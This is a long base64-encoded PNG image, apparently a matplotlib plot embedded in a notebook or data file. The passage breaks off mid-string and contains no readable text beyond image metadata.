"iVBORw0KGgoAAAANSUhEUgAAAagAAAEYCAYAAAAJeGK1AAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4xLjAsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+17YcXAAAgAElEQVR4nOydd3wVVfr/3+k9Ib0XCOQQkhACofdexS6i2Puqq6y7+3VdXXdX3XXdtfeCFXtDBaQoAgFCSUJCGicQ0kjvvdwyvz/mopEfQijJzU3m/XrxInfuuWeemTt3PnPO85znsVIUBQ0NDQ0Njf6GtbkN0NDQ0NDQOBWaQGloaGho9Es0gdLQ0NDQ6JdoAqWhoaGh0S/RBEpDQ0NDo1+iCZSGhoaGRr/E1twGaPR/hBCFQPhvvG0npdRf4P3ZAbdJKV8xvf47sExKmXgh92PqexbwE+AmpWzpQfvpwLtAMHC/lPK189i3LzBfSvnROX7eFWgGZkspt5+rHRcCky0rpJRrzGlHd0zX7f+klC/1oO2vrjmN/oE2gtLoKQ8BgSf/u9DiZOIa4J/dXv8PWNgL+wHYg3osrT1s/zcgDxgJnJOwdOMp4LLz7KO/8ABwl7mNOA9OvuY0+gHaCEqjpzRLKSv6aF9W3V+YRjZnHN2cC1LKLuBsjmsIsFFKWXgBdm915iYWg6Ufi6XbPyDRBErjvDFNwU1EHZFPAn4PfAH8F7gE8EUVgdellI+bPmODOiq7DfACDgD3mNq+Y2qjALOBWXSb4hNCJKKOPsajCtf7wMNSSp1pyu4L4A+oT8SewE7gVill5Slsn0W3KT7TPm8C7gWigUzUqbzkblOdiUKIv0kprYQQbsDTwBWAAmwD7pNSlpn69wKeAZabdrnBdJyrgRtOHKepLzvgMeBGwAnYC/xeSilN7ZyBF4ArUaf2Hj7jl/PrY3UC/gWsNPW/HfidlLJUCGFlOuZ7gDDgMPCQlHKj6bPvAm2mz10B1AJvSSkfF0LcCDx64liAoUDRGfrbDqRIKf/YzT4FuEhKud70fg7q9+8NzJRS5p50PIXdzscYIB24W0qZ9hvHfw3wIDACKAb+JaV8z3QN/OqaM/eUqYaKNsWncaFYhCoEk4CNqDflyagCJVBvJI8JIcaZ2v8NVcjuBxKAEtSbd7JpWx3q1Nue7jsRQkQBO1BvXuNRBe461BvvCYYAdwKXm/Y/kbO7mT8OPGKyvwt4w7R9PJCBKkiBpm1vmI5vITATVaQ2CyFOPPx9DcQBS4E5QAzwMuq05WfA+m59/dPUboXJZgnsEEJ4mN5/BZgOLDEd2+qzOCaA14CLgVWo35Mj8KnpvYeAf6B+L6OBdcC3Qoj4bp+/FTgOJAJv8cv3+anpnGSYjqWkh/2diVtRr4VlJ4tTNx4DPgDGop6vLaaHgl8hhLgWVYReNdnzIvCmEGIp6jX2m9echvnQRlAaPeVpIcSTJ21b1u1Jsx34t5TSCCCE2I06YjrxNPtfIcTfgFFCiDRUf8XjUsqvTO3vBv4OuAGNgHJiSlEI0X2ftwPHgHullApwWAixGvjANJIDsAH+IKVMNX1+LeoNuae81O1J/7/AN0IIBylltRBCD7RIKSuEEMOAq4EQKWWpqf11QA2wSAhRAMwAxkgpM0zv3w4sMo3W2gEbU19OqIIzV0q522TH74UQC4HrhBDvo/pJLj3xvhDiDlRBPyMmkbsGuEJK+YNp253AHUIIB9Qb9BNSyk9MH/m7EGIi8GfgWtO2fCnlI6a/Hzed93FSylQhRAugNx2LVQ/7OxPbpJSbz9Dmk27BNHegjtxWoApRd1YDb0opT2w/IoSIQR3VbRBC/Oqa0+gfaAKl0VP+Daw9aVtpt78LToiTibXAMtMNOwp1CsYVVTx8UKfyDpxoLKVsRnW0nyxIJxMD7DWJ0wl2AXaoUzcnyOv2d5Pp/Z5y8mdB/a10ntRulOl/eZLNzqijKifUEdihE29IKVOAlFPsMxJwQB0BdD82R1NfwnQM3aevUoDu5/x0RJmOofs5LwAeFEL4o34nJ4vdLtTpsxMcOen9Zk59Xv162N+ZyO9Bm6QTf0gpO4UQh4DYU7SLAZ49hT0rz8IejT5GEyiNnlIjpTx6mvfbT3r9NjAP1T/0PuqIKcP0Xpfp/3NJpX/yfuAXB3f3Keuu32jTE07+7G993hbQoU5RnnwsdajTcT09xhO/xflA1UnvNfFLmH93Owymfz3hdOf8VOf0xL5Od05Ptuds+vuVHd2mRHvST3dOjiK15tTn5LeuG83N0Y/RvhyNC44pcOA64Hop5UNSyk9Rb24egJWUshH1Jjy222echBCVpmmg093Uc4FJpmmkE0xBFYqePHFfSHJRRxAuUsqjJgEvRw0OiUIdiTnwy0gLIcRMIUSJEMKeXx/nUdSbrV+3vvJRpz0noAYZdKH6pk4QR89HhsdQb9zdz3m4EKIOdVq1DNXn1p0ppv32hJ+PRUrZ1IP+TlwPJxjWw/2cTPfjcUT1L2Wcol3uGezR6g71Q7QRlEZv0IG6rugykx8mCPWmbYV6wwZ1uuURUyRWHvBXVN/TQSAEcBVCjEK9sXbnZdTgiheFEC+hRow9DbwnpWw8w/TgBUVKKYUQ3wLvm3xo1cATqP6uw1LKBiHEZuAtIcQ9qDfBp4EfpZRdJr9NrBAiXEpZJIR4BXheCNGJOp22GjXI41EpZbMQ4i3gGSFEPeqo6hW63VhNi2VdT+VHOenzzah+sqeBQ6YovieBfwohjgOpqH6chagRlD2hBQgw+eWKgTP1dwC4z+Rba0QNqjl5CrUn3CGESEGd+nwI9UHls1O0exL4QgiRDfwAzAVuAW7uZv/P15yUsuMcbNG4wGgjKI0LjpRSh+qQn4cabfc+sAU1uu9EFN9/gTWo0WAHUaOnlprWJf1o2nYQNaqte99lqBGDY1GflN8y9X93rx7Ub3MDqi9oHepN1wM1O0SD6f3rUB33P6GegzTU0GtQM1IEALlCiADUAIIvUKPNDqEe42Ip5YmR4WrgW+ArYDPwHr+edvsj6gjut3jAZMfXqJFqzajCAfASauj+U6ih9RejBsEknaKfU/GFqb8c1CnPM/X3tOl8bEaNZFyLGiF4tqxBXVKQhprdY67Jn/krpJTfAb8ztc1CDYG/TUr5oanJb15zGubDSquoq6ExcBBCpEopx525peVzNqmMNCwTbQSloTFAEEKsQF3cq6ExINB8UBoaA4evTQEpGhoDAm2KT0NDQ0OjXzLgRlCmVfHjUZ3FPV0joqGhoaFxYbFBDX46IKU8lwjNgSdQqOLU08gjDQ0NDY3eZTpq1o6zZiAKVDnAhx9+SEBAgLlt0bAwdMZ2dlc+Rl3nUSb4ribE5eS1nRp9TXbjUd4v3EB1ZwNTveO5Kmw+bnYu5jbLrBxtrOWtnP3sKi/Ew96RVSKBy4bF4mDTf27pFRUVXHvttXD6pQ+npf8czYXDABAQEEBISIi5bdGwILoMLfxQ9g+MQwq4OOAJwt1mm9ukQU1dVxNv5X/NjtpUgv38+POI24gfEmVus8xKfmMtz2bsYn1hLm52Djwwawk3RSfiaudw5g+bj3N2tQxEgdLQOGu6DM1sLV1NbadkZuDjhLvONLdJgxajYmRT+R7eLfiOTmMX14Yv5srQedhZn02+34FFSXMDzx/azVfHsnC0seXuuMncNmoCQxyczG1ar6IJlMagp9PQxNbS+6nvPMqswCcIc51hbpMGLYWtZbx45BMONxUSPySKu4dfRbCzn7nNMhsVbc28dGgPnx7NwAorbhqZyF2xk/BxGhxTnJpAaQxqfhanrnxmBf6LUNdp5jZpUNJh6OSjok18ffwnXO2ceECsYrbfeKysBmcl9pr2Vl7N2ssHMg2jonD1iHjuGT2FAGc3c5vWp2gCpTFo6TA0srX0Phq6Cpgd+C9CXKaa26RBh6Io7K3N5I38r6jqrGNhwGRuGrp80AZBNHZ28EbOPt7JTaHDoOeyYbHcN3oqoW5DzG2aWdAESmNQ0mFoYMvx+2jUFTE78EktWq+PURSF9AbJ+4UbyGsuItTZn//E30esR6S5TTMLLbpO3slN4Y3s/TTrOlkWEc3q+GlEenib2zSzogmUxqCjQ1/PltL7aNIVMyfwSYJdzqYavMb5ktVwlA+KNpDVmI+vgyf3Ra1krv8EbKxszG1an9Oh1/G+TOPVrL3Ud7YzL2Q4DyTMINpz8PrduqMJlMagol1fx5bS39OsO86cwKcIcplgbpMGDYebCllbuIGDDRIve3fuGn4lCwMmDcrovE6Dnk+PZPBSZjJV7S1MDxzKAwnTGeMTZG7T+hWaQGkMGlRxupdmXRlzg/5HoHOiuU0aFOS3HGdt4Ub212XhbufCrcMuYUngNBxs7M1tWp+jNxr5Kj+T5w/tprS1iQl+Ibw4YzkT/cPMbVq/RBMojUFBu76WzaX30qIrN4nToCiZZFaKW8tZW/Q9u2vScbF14vqIZSwPnomTTb9eVNorGBWF7wpyeC5jFwXN9cR7B/LvyYuZHhgxaCMVe4ImUBoDnjZ9DVuO30urvpJ5Qc8Q4JxgbpMGNGXt1XxU9D3bq1JxtLFnZdgiLgmZhauts7lN63MURWFzSR7Ppu9CNlQzcogvb8y6jPmhIwa0MLV2dvHVwezz7kcTKI0BTZu+ms3H76VNX8284GfwdxpjbpMGLFUddXxSvJmtFfuws7bhspA5XB46Fw87V3Ob1ucoisKOsgKeTt9JZm0Fw9y9eHH6xSyNGIn1ABam6uZW1u5P55MDGTTUVJ93f5pAaQxYWvXVbDl+D236WpM4xZvbpAFJbWcjn5VsYVP5HgCWBU3nyrD5eNm7m9ky85BcUcTTB5NIqT5OiKsH/52yhEuHxWJrPXALmOdX1/LOnjS+OZSL3mBgfvRwls2dxL3ffXRe/WoCpTEgadVVsbn0HjoMdcwPfhY/pzhzmzTgaOxq5vPjP7KhLAmDYmC+/ySuDluIr6OnuU0zC2nVpTyTnsSu8kL8nVx5bOICVgyPx95mYIbPK4pCSlEpa/aksD2vAAdbG65IiOHGyeMI9x7C8ePHz3sfmkBpDDhadBVsLr2HTkMj84Oew9cp1twmDSiadW18fXwb35Rup8uoY7b/eFaGLSLQycfcppmF7LpKnknfyY/H8/F2dObhxDmsikrA0XZghs8bjEa25h5lze4UMssq8XR24p5Zk7hmfDxeLhfWz6gJlMaAokVXzubj99JpbGJ+8PP4Oo4yt0kDhjZ9O9+U7uDr4z/Ramhnhu9YrglfTKizv7lNMwtHG2p4NmMXG4oO427vwJ8SZnDjyERc7AZm+Hxbl46vDmbzbnIqxxuaCPcawt+XzuHi+FE42feOGJtFoIQQE4D1UspTLpcWQoQBa4BJQBVwr5RyYx+aqGGBqOJ0D13GFhYEP4ePJk4XhA5DFxvKkvii5Aea9K1M8o5jVfgShroGm9s0s1Dc3MBzGbtYV5CNk40d98ZN4daYCXjYO5rbtF6htqWNtfvT+ehABo3tHcSHBPLnBTOYOzISm172q/WpQAkhrIBbgP+doeknQDKwFJgGrBNCjJFSHutlEzUslGZdGZuP343O2MaC4OfxdhxpbpMsHp1Rx/fle/i0eAsNumbGeUazKmIJUW7h5jbNLJS3NvFi5h4+O3IIG2trbo0ezx2xk/B2HJjh8wU19byTnMq69Bx0BgNzRCS3TB3H2LC+ezDp6xHUP1BF53Hg4VM1EEJEAYnAfCllF7BNCPEtqrD9ta8M1bAcmrqOs6X0XpM4vYC3ozC3SRaNQTGwtWIfnxRvprqznjiP4TwUcTMxgzSRa017Ky9nJfOhPIiCwjVRY7g7bjL+A7T0RVpxKWt2p7JN5mNnY8MlY0Zx4+SxDPPx6nNb+lqgXpNS/k0IMes0bUYBxVLK1m7bDgNa0jSN/4+GzgK2lN6HUeliYciLeDkM7pLg58vB+sO8mf81RW3ljHSL4P6oa4gfEjWgF5X+Fm26LtbkHuC1rH10GHRcHhnHvaOnEOo68EpfGI0KP+Ud463dBzhYUo6HkyN3zZjItRPG4O1qvhFinwqUlLKsB81cgbaTtrUBA3McrXHO1HZItpatxhobFoa8jKfD4HzCvxCUtlXx1rF17K/Lwt/Rm4eib2aKT/ygFCa90cgX+Zk8k55EVXsLC8Oi+FPCTIYPwNIXXXo93x46zJrdKRTU1hM8xJ2HF8/msoQYnHsp8OFs6I9RfK2A00nbnIEWM9ii0U+pbM/gx7I/Ym/txoLgF3C3DzG3SRZJi76Nj4s28V3ZTuyt7bhp6HIuDp45KDOMK4rCT6X5PJm2nbyGGsb6BvPKzEtI9Bt411ZTewefpmby/t40qlvaGBXgx9OXL2HhqBHY2vSfBcX9UaBygDAhhJOUst20baRpu4YGZa372Vb+f7jY+rMg+Hlc7AZnmPP5YFAMbCrfw9rCjTTr21gQMInrIpbiOUizPxyqKedfqT+xt7KYCDdPXp15CYvCxIAbQVY0NvPe3oN8lppJa1cXU4aF8Z9LE5k8LKxfHmu/EygppRRCZABPCCH+AkwBLga0kqcaFLXsYGfF3/Cwi2B+8LM42fa949bS6e5nivMYzm2RlxHpOvBGCT2huLmB/x7cwXeFuXg7OvPPCfNZGTUGO+uBlf0hr7KGt/eksj7zMIqisDhWcPOUcYwK7N+FEfuFQAkhrgVel1KeyCp5OfAG6hqoGuAWKWWWuezT6B/kN21id+UT+DiOZG7Q0zjYDM6n/XOlu58pwNGbv466hcneo/vlk3NvU9/RzouZu/lApmFjZc29cVO4PWYibvYDpxTIiVREb+1OYceRApzsbFk5fjQ3TBpLiKeHuc3rEWYRKCnldmBIt9cfAh92e10CLO57yzT6I7Udkoy6NZS07iLAaRxzgv6DnbUWM9NTND/TL3Todbx7OJWXM5Np1XdxVeRoVo+ZNqBCxg1GIz8czmfN7hQOlVbg5ezEfbOncPX40Xg6n+ze79/0ixGUhsapqOvMI712DSWtSdhbuzHG6zZiPa/BxnrgPOX2Jpqf6RcMRiPrCrJ5+mASZW1NzA2J5P/GziJqiK+5TbtgdOj0rMvI4Z09qRTVNRDm6cHfl87hkjExONpZ5q3eMq3WGNDUdR4ho/Ztilt3YGftSrzXLYwachX2NgPnKbe30fxMv7CzrIB/p/5Ebn0Vo70D+N+0pUwJGDjZMBraOvgkJYMP9qVT29pGXJA/z125lPnRw3s9FVFvowmURr+hvjOf9No1FLdux87ahXivmxk1ZIUmTGeB5mf6hey6Sp5M/Ymk8kJCXT14YfpylkVED5iCgaUNTbyXnMYXaVm06XTMHDGUm6eMY0JEyID5vjWB0ug3FLX8RHn7fkZ73cSoISu0IIizQPMz/UJpSyNPpyfx9bEsPOwdeSRxLqtEAg42A+N2d7iimjW7U9iYJbGysmJpnODmKYkI/4FX7mRgfGMaA4IYz5VED7lKE6azQPMz/UJjVwevZCbzTm4KAHfETOKuuEkDIsu4oijsKyjhrd0p7MovwtnejusmJXDDpLEEegzcGQZNoDQuKF2GVlJqXsTNLhhXuwCGus3v8WftrF160bKBh+ZnUuk06PlApvHSoT00dnVwWWQsf4ifTrCrZYRSnw69wciW3CO8tTuFnPIqfFycWT13KlcnjsbDyfKF90xoAqVxwWjsKmRH+d8IdE7E1S6Q/dXPojO2M8xtAbbWA//H1FdofiYVo6LwXWEu/z24g+MtjcwIGsqDY2cxysvyM4u0d+n4Kj2bd/aoxQEjvD157KJ5LB8djYOFRuSdC4PnSDV6nRZdBYHO4xjv+3sArLAmt+FzXO0CCXIeb2brLB/Nz/QLeyqK+HfqT2TWVhDt6ccH81YwPWiouc06b+pb2/nwQDpr96XTYCoO+ODCmcwRkVhbD64HENAESuM8aegswNnWD3sbF5p1pVS0HwTUOfMItzmUt6dS1PwTvo6x2Flb1iLB/oLmZ/qFvIZqnkzdzrbSfIKc3Xlm6jIuGRZj8ZF5x+sbeSc5jS/TsujQ65kdNYxbpyYyNizIYkfGpVWN592HJlAa50R1Rza7Kh7DzS4InbGdOK/riHCbh2z8moLmHxjqNg+A0V43srHkNqJ1VzLEwfKfcPsazc+kUtHWzLPpSXyen4mLrT1/GTubG6LH4WjhkXlZZZW8vTuFTTlHsLGyYnl8NDdNHsdwP8ss7aEoCvuzivlkcxpJ+w+dd3+W/e1qmAWdsY3Mug9I8L6dCLc5ZNV/yLHmLTTrjhPneR3Z9R8R7jobaysbXGx98XUcRV3nEU2gzgLNz6TS3NXJ69n7eCtnP0ZF4eboRO6OnYKno+WOxhVFYXd+MWt2HyC5oARXB3tunjKO6yYm4O/ueuYO+iEdXTo27znMJ5vSOFZai5eHMysXJvBGxkfn1a8mUBpnjaIYMCiduNiqmZCFxyUUNG/leOseRg1Zibt9GNvL/8I0/0ep7TxMi64CH8doM1ttGZzsZ7p56MUsD54x6PxMOqOBj/LSeT5jF3Wd7SyPGMWfEmYQ6ma51Wx1BgObso+wZncKhyur8XNz4U/zp3PVuDjcHC0zfVd1fQtf/pDBV9syaGzpICrcl7/dvpD5kwRVlRW88dT59a8JlMYZadGVk13/MZ4Ow3Gx9SPQeTxWWNFlbEFRjNhZu+DvNIaGriLqOvOY7PcndpY/SnLVkzTrSonzuh53+1BzH0a/5v/3M03muoglg87PpCgKm4olT6XtoKC5nkn+YTw0bjajfQLNbdo509rZxZcHs3g3+SBljU1E+njxxMULuChOYG9rmbfg3IJKPtmcxg97JQajkRljI7l64VgSRl7YLBaWeXY0+ozilh0cqH6RKI/l2Fo7sqfqSWYGPIafUzyHG77A20HgaOuJh30ENlb2tOjLsLN2YXbQk3QZW3Cw9hh001JnS0Z9Hq/nfzmo/UyKorCvsoT/pG3nYE0ZUUN8eGfOlcwKHmax109daxsf7Evno/3pNHZ0khgWzCNLZjNzxFCLjMgzGI0kpeXz8aY00mUpzo52XD4vnqvmJxDi3zsjW02gNE7L8dZkxnjfQqS7Wv2ktuMwuysfZ2HIyxS37OBY8xaGus3HydYLV7tAGruKALC2ssXRxnKnY/qCVn07a46tY3NF8qD1MxlNZdZfyUwmtboUfydXnpq8mMsj4yw20Wn3iLxOvZ55I4dz89RxJIQGmdu0c6KzS8/GXTl8+H0KJRUNBPq4c/81M7loZiyuzr07NakJlMbPKIry881RURQA9ErHz6ID4GEfTnHLTgqatzDV/6+k1b5OdUcW7vZh5DdtZJLfn81iu6WRUpfDi3mfUNfVyBWh87g2fDH2g8jPpDMaWF+Yy2tZ+5AN1QS7uPOPCfO5avhonGwt8zzkVdbw1u4DbMiUWJsi8m6ZksgwX8us+tzY0s5XPx7i0y0HqW9qI3qoP/+6ZxkzE4dja9M3Dw+aQGn8jEHpxNZKzfhgZWWFoigEOI3hSNMGDta+QZu+GiusmRrwV5Iq/s4I94uZ4Hs/le3ptOjKWBzyOi52/buEtLlp0bfxVv46tlbuJcw5gIdG3YJwHzilH85Eu17Hp0cyeDNnP6WtTUQN8eHZactYFhFtsWXW04rLeHPXAX7KO4aznZoj78ZJYwmw0Bx5FTVNfLwpjW+2Z9LeqWPy6AhWLU1kXHRon4/uNYHSoFVfTVrNKyiKEV+nGMJd5+Bs64OVlRXD3BbjZhdKbUcuLrYBxHvdjF5pw8tBoDO24mYXhJudZU5d9DUpdTm8kPcx9V1NXBU6n5XhiwbNqKmhs533ZRrv5qZQ19lOom8I/5y4gNnBkRa5yFZRFJKOFvJG0gFSiksZ4uTIvbMmc82EeIurWnuCI8XVrN2Ywtbkw2BlxfxJglVLEhkRZr6ijppADXI6DA3sKH+IUJfpeDqMoKB5C8eatrA07C0AbKzsCXQeh69jDA1dBVhZWVHYtA0rrDUfUw9RR01fs7VyH+HOgTwccytRboNj1FTe2sSa3AN8lJdOm17H3JBI7oyZxHh/y4zq1BuMbMrJ481dB5CVNQS6u/HQollcMTYWZ3vLe9hQFIXU3BLWbkgh+VAhTg52XLUggasXjiXAx/wRpD0WKCGEPzAO8AMMQAWQJqWs7SXbNPqAxq5CbKwciPO6HoAQl8l8UXApGXXvEO91E0ZFh42VPe2GWnZUPIKbbTAdhjqm+P8FG2t7M1vf/9lfm81LRz6hvquZFaELWBm+cFCsaTraWMvrWXtZV5CNUVFYPnQUd8RMZKSnZU4Bd+r0fJ2ezZo9qZTUNxLp48W/L1nA0tiR2Nta3tSkwWhk+4GjfLDhALkFlXi6O3PXlVO5bG487i79J7HzaQVKCGELXAPcD8QDXUA9YAN4mdrsA14BPpFSGnvVWo0LjptdMJ2GJuo68/ByiAJgmv8jbC37A9EeV2Jv4/pzu0XBr9BpbPi5ncZv06xr481jX/Fj5X7CnQN5JOY2RriFmdusXudgdRmvZe9lS3EeDja2XDNiDLfGTCDU1TJH280dnXyScoj3ktOoaW1jdHAA/7dghsUmb+3o1LE+KZuPvk+ltKqR0IAhPHjTPJZMG4WDff+bUPtNi4QQM4FXgTJgDbAJOCalVEzvWwExwAzgHuDvQojbpZTbe9tojQuHnbUzAc4JFLVs/1l4ApzHEuw8kdyGz4kechVJFY8yM/AJXOz8cMEyn4D7kn21mbx05FMaulq4OmwhV4ctGNCjJkVR2FlWwKtZe9lbWYyHvSP3jp7CDSMT8XZ0Nrd550R1cyvv7zvIxwcyaOnsYmpkOE9PG2+x5dQbm9v5/Id0Pt+aTkNzOzGRAdx79QxmjIvs1+H8p5PMB4AVUsrMU71pEqos079XhBAJwD+B7RfaSI3ew87ahUCn8RS2/EBRyw7CXWcC4G4fhptdMFZW1oghl2FrbZmpWPqSZl0rb+R/xbaqA0S4BPFozB0Md7NMX0tP0BuNbCw6zGtZe8mpryLA2Y2HE+dw9Yh4XO0s83opqWvg7T2pfHkwG53BwKKYKG6dmkhMkGXWmCqrbuTj71P5dpQf//UAACAASURBVEcWHV16po0ZxqpliYyJCrYIof1NgZJSLj+bjqSUB4GLztsijT4n2GUSTbpiMuvex97aFUUxUNqaTKDTOOysnQhxmWJuE/s9e02jpiZdCyvDFrEibAF21v1vyuRC0GHQ88XRTN7I3kdxSwPD3L14asoSLhkag72N5fljAA5XVPPmrgN8n52HjbU1l8RHc8vURCK8Pc1t2jkhC6tYu/EAP+7Lw8rKioVTolm1ZBzDQnzMbdpZcTZBEraAP6r/CcAKcADGSSk/7gXbNPoIaytbRg25GitsONa8icauIib43k+gc6K5Tev3NOlaeT3/S7ZXpTDUJZh/xN5BpOvAHDU1dXWwVh7k7dwUajpaifcJ5KHE2SwIjbLYUPHU4lLe3JXCjiMFONvbcdPksVw/aaxFZhU/Uepi7YYD7M8uxtnRnqsXjWXFwrH4e1nmmqweCZQQ4iLgbUyBESdRD2gCZeFYWVkzynMFRkWPtdXAfPK/0CTXHOKlI5/SrG/l2vDFXBk6f0COmqraWliTe4AP8w7SoutiRtBQ7oqdxCT/MIuYJjoZo1Fh+5FjvLnrAAdLyvF0duL+OVNYOT4eD6f+E8HWU/QGIz/uz2PthgPkFVXj7eHC3Sumcens0bj1o4i8c6Gnv6Z/AVuAZ4AfgeVAAPAsqq9Kox/T2FWEq10QNlZndtRr4nRmGnUtvH70S3ZUpzLMJZh/xt01IJO7FjbV83r2Pr7Mz0SvGFkSPpI7YyYS6x1gbtPOCZ3BwPdZeby5+wBHqmoJ8nDn4cWzuTwhBicLXMPU3qHju51ZfPR9KuU1TUQEefHXW+azaGo09nYD43fc06MYAVwhpZRCiDTARUr5mRBCBzwMfNJrFmqcMwZFR1bdWg7Vv8sYr1t+Xuukce7srsnglSOf0aJvY1X4Eq4MnY+thabo+S0yayt4LWsv3xdLbK2suXL4aG6PmUC4m2X6Y9q7dHyVns3be1IpbWhihK83T126iMWxUdhZoM+svqmNz7em8/kP6TS1dDA6Kog/XDebaWOGWWTo++noqUC1AyfWOOWhron6HkgFtEUx/ZDqjhz2VP6Lhq5jRLjOY7j7MnObZNE0djXzWv6X7KxOI9I1hMfjfsdQ12Bzm3XBUBSF5IoiXs3aS1J5IW52DtwRM5GbohPxc7I8fwxAY3sHHx/I4P29B6lra2dMSCB/XTyLWSMs80Z+vLKBj75PZf3OLDp1BmaMjWTV0kTiowbOdXgyPRWoncAjQojfAynAbUKIp4FZQFMv2aZxDuiM7aTXvkFuw+c42XozJ/C/hLpONbdZFs2u6oO8cvRzWvXtXBe+lCtC5w2YUZPBaGRryRFezdpLRm05vk4uPDh2FtdEjcHd3jL9F5VNLby/N41PUjJp7epi5oih3DYtkXFhlhFafTK5xyr4YEMKPx04go2NNYunRnPtkkQigiwzS/rZ0FOB+iPwLXAz8BpqZokmwB51ik+jH1DelsKeyidp0ZchPC5lrPfvsLdxMbdZFktjVzOvHP2cXTXpRLqG8K/R9xDhMjAS43Ya9Kw7ls3r2fs41lRHuNsQ/jVpEZdFxuJoY5n+i8LaetbsTmFdRi4Go5HFMVHcNm08IwPMl+z0XFEUhb2ZhXywPoXU3BJcnOxZtTSRqxYk4OtpmSPac6FHV6KU8ggQLYRwklK2CyEmoI6eaqWU+3rTQI0z02loIqXmRY42bcDdLpSFIS8T4JRgbrMsmqTqg7xy9DPa9B1cH7GMy0PmDohRU4uuk4/z0nkr5wCV7S3Eevnz8oxLWBQW1a8zCpyO7LJK3tqdwuacI9haW3N5Qgw3TxlHmJflpVfS6w1s3SdZuyGFoyU1+Hq6cu/VM7hkThyuTpa5+Pl86GmY+TEgUUpZByClbAM2CiGChBBVUsoe5b8RQsSjjsBGA8eAm6WUB07RTqCmWRoLNAOvSSmf6Mk+BhtFzT+xr/oZOgwNxHpeR7zXzVrWh/OgwTRq2l2TzgjXMO4ffc2AGDXVtLfy7uFU3pepNHV1MiUgnP9NXcq0wAiLnPZSFIX9hcd5Y9cBducX4epgzy1TE7l+YgK+bpY3a9DW0cU327P4eFMqlbXNDA325m+3L2TB5JHYWWAy2iO5Zbzz2sbz7ud0ufiWA9NMLyOAfwoh2k5qNrynOxJC2APfAM+h5u+7HNgihAiXUp7sx/oQ+AqYB0QCu4QQmVLKb3u6v4FOm76GfVVPU9y6Ay+HKOYG/Q9vR2FusywWRVFIqj7Iq0c/p83QwQ0RF3F56BxsrCzv5tCdkuYG3szZz6dHD9Fl0LMoTHBn7CTifQLNbdo5YTQqbJP5vLnrABmlFXi7OPOHuVNZOT4eN0fLezCrbWzlsy0H+fKHDJrbOkkQwfz5xrlMGT3U4gI5FEUhNTmfzz/YTfr+Y9g66s67z9ONoDJQfU0nzlICajbzn+0BWoAberivWYCdlPI50+tPhBD3ACuAN09qe+JOa2XajwJ09HA/A56jTRvYX/08RqWLsd53EeO5Ulu/dB7UdzXxytHP2VOTQZRbGKujriXMxTJv4Cc40lDDy5nJfFeYg7WVFZcNi+X2mIlEenib27Rzoq1Lx/fZeby9O4X8mjpChrjz96VzuGRMDI4WuOYnv6SGz7YeZOOuHHR6AzPHDWfV0kTihlveaN1oNLJ9cxafvbeLgiOVePu6cet98xkzMZBly788r75Pl4uvCJgDIIR4B7jvFCOds2EUkHvStsNA3CnaPgY8gZp81gZ4Vkq55Tz2PSBQFCMpNS+R0/AJ/k5jmOz3IB72A7+EQ2+SXHOIF498Qqu+nRuHXsRlIZY9aiprbeLZ9CS+PJaFk40dN0eP55ZR4wlwtrxUNwajkf2Fx1mXkcPWnKO06XQIfx/+d/liFo2KwtbGsnxmjS3tbEmWrE/K5nBBJfZ2NiydHsM1i8YRFmiZa8wy0wp57elNHD1cTnikHw88egmzF8dhZ2fL8ePHz7v/ngZJ3CSEsBZCLEEd3byDuv7p8FmIlitw8hRhG3CqfPwKaoaKN0z7+0YIkS2lXNPDfQ04DMYudlU+TmHLD4z0uILxvvdhbcE3UnPTpm/njfyv2Fq5j2Euwfx79L2EW/CoqaGznVcyk3n3cCoAt0SP53exk/F0tLzy4/nVtazLyOW7Q7lUNLXg6mDP0jjB8tHRJIZbVqi43mBkX2YhG5Jy2JmWj05vYESYL6tXzWLh5JF4ultmOZKykjreemELu7fl4uPvzv89fjmzFsZifYEDbXoaJBEIbEb1RTmj+pIeBCYKIeZLKXN60E0rcPKvxRl1mrD7vhKB1VLKE2PdDCHEU8DvUOtSDTq6DC38VP4gFe1pjPP+HTGe11rUj7Q/UtfVxK6adK4KXcA14YssNodeh17HO4dTeSUzmRZdJ5dHxrE6fhrBrh7mNu2sqG9tZ0OWZF1GDlllldhYWTFteAR/NhUHtLRpvMKyOjYkZbNxVw41Da14uDpy6ZzRXDQjhqhwy62p1trcwcdv72Tdx3uxtrHm+jtnc/mqKTg69U517Z5+688DOcB4oMa0bRXwAWrQw4Ie9JEDrD5p20jg/ZO2hQL2QgirE8URAT1w/h43C6RNX80PpQ/Q0FXANP9HiHRfbG6TBgQhzv6smfAoHnaWuaZEbzTyRX4mz2XsoqKtmbkhkfwpYaZFlVRXFIWDJWW8m5zGNnkMvdFIdIAvDy6cydJYYXHReM2tHWzdl8eGpGyyjpZjY23FlPihLJ0ew7SEYRYZjXcCg97A9+vSeP+1n2hqaGPesnhuunsu3r7uvbrfngrUHGCGlLJTjQBXQ82FEH8FeroO6ifASgixGngJNYpvNPD1Se12o/qd/iGE+CcwFHWh8Ms93M+AoaGrkB9KV9NpaGZe0NMEuUwwt0kDCksUJ0VR2FJyhKcO7iC/sZaxvsG8MH05E/wtp8SHzmBgS85R3k1OJbOsEg9HB66bmMAl8dEIC1tUazAaSckuYX1SFjtSjtKpMzAs2Jvfr5zBoinReA+xLJE9FanJR3n92c0U5VcRNzacO/6wiBHRfRPM0VOBsgJOlffEh19H9v0mUsouIcRi1HVQ/wQKgUuklNVCiGuB16WUrlLKKlO7/wK/Ry3n8QbwYg9tHRBUtR/ix7I/YW1lx6KQl7UQcg32V5bwZNp20qpLifTw5vVZl7EgdITFTPc2tXfweVoWH+w7SEVTC+FeQ3h06Rwujh+Fs4VlEy+uqGdjUg4bdmVTVdeCm7MDy2bEctGMGEYO9beY7+R0FBdU8+azm9m/+wiBwZ488t8VTJ0d3afH1lOB+hJ4WghxDWoAA0KI0aijmm96ujMpZRa/rK3qvv1D1LVPJ17vBab3tN+BRnHLDnZWPIqLbQDzgp/Bzc7yQk/7mnZDJ042lrcOpifI+mqeOridH4/nE+Dsxn8mL+byyDhsLSTzQ3FdA+/vPchXB7Np0+mYGBHKo0vnMnOEZa31aWnvZNu+PL5LyuZQXhnWVlZMjAvnvmtmMj0hEgd7y/KT/RZNDW188MZPrP8iBUdHO269bwEXXz0RezMcX0/3+AfUtUqlptc5gB3wnek9jQvE4Yav2F/9DD6O0cwJ+i+ONpaXrqWv+a50J5sr9hDlFsEw12CWBQ2MZ5vSlkaeyUjiq/ws3Owd+L+xs7hx5DicbPv/aONEt